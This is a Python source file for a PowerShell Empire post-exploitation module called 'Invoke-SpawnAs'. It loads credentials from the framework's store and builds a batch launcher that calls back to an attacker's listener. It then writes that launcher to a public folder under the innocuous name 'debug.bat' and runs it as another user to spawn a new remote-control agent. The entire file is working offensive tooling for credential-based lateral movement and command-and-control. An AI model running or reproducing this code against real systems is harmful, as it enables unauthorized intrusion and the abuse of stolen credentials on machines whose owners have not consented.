156 lines
5.7 KiB
Python
156 lines
5.7 KiB
Python
from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'Invoke-SpawnAs',
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'Author': ['rvrsh3ll (@424f424f)', '@harmj0y'],
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'Description': ('Spawn an agent with the specified logon credentials.'),
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'Background' : False,
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'OutputExtension' : None,
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'NeedsAdmin' : False,
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'OpsecSafe' : False,
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'MinPSVersion' : '2',
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'Comments': [
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'https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/RunAs.ps1'
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]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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'Description' : 'Agent to run module on.',
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'Required' : True,
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'Value' : ''
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},
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'CredID' : {
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'Description' : 'CredID from the store to use.',
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'Required' : False,
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'Value' : ''
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},
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'Domain' : {
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'Description' : 'Optional domain.',
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'Required' : False,
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'Value' : ''
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},
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'UserName' : {
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'Description' : 'Username to run the command as.',
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'Required' : False,
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'Value' : ''
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},
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'Password' : {
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'Description' : 'Password for the specified username.',
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'Required' : False,
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'Value' : ''
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},
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'Listener' : {
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'Description' : 'Listener to use.',
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'Required' : True,
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'Value' : ''
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},
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'UserAgent' : {
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'Description' : 'User-agent string to use for the staging request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'Proxy' : {
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'Description' : 'Proxy to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'ProxyCreds' : {
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'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self):
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# read in the common powerup.ps1 module source code
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moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-RunAs.ps1"
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try:
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f = open(moduleSource, 'r')
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except:
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print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
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return ""
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script = f.read()
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f.close()
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# if a credential ID is specified, try to parse
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credID = self.options["CredID"]['Value']
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if credID != "":
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if not self.mainMenu.credentials.is_credential_valid(credID):
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print helpers.color("[!] CredID is invalid!")
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return ""
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(credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
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if domainName != "":
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self.options["Domain"]['Value'] = domainName
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if userName != "":
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self.options["UserName"]['Value'] = userName
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if password != "":
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self.options["Password"]['Value'] = password
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# extract all of our options
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listenerName = self.options['Listener']['Value']
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userAgent = self.options['UserAgent']['Value']
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proxy = self.options['Proxy']['Value']
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proxyCreds = self.options['ProxyCreds']['Value']
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# generate the .bat launcher code to write out to the specified location
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# this is because the System.Diagnostics.ProcessStartInfo method appears
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# to have a length limit on the arguments passed :(
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l = self.mainMenu.stagers.stagers['launcher_bat']
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l.options['Listener']['Value'] = self.options['Listener']['Value']
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l.options['UserAgent']['Value'] = self.options['UserAgent']['Value']
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l.options['Proxy']['Value'] = self.options['Proxy']['Value']
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l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value']
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l.options['Delete']['Value'] = "True"
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launcherCode = l.generate()
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# PowerShell code to write the launcher.bat out
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script += "$tempLoc = \"$env:public\debug.bat\""
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script += "\n$batCode = @\"\n" + launcherCode + "\"@\n"
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script += "$batCode | Out-File -Encoding ASCII $tempLoc ;\n"
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script += "\"Launcher bat written to $tempLoc `n\";\n"
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script += "\nInvoke-RunAs "
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script += "-UserName %s " %(self.options["UserName"]['Value'])
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script += "-Password %s " %(self.options["Password"]['Value'])
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domain = self.options["Domain"]['Value']
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if(domain and domain != ""):
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script += "-Domain %s " %(domain)
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script += "-Cmd \"$env:public\debug.bat\""
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return script
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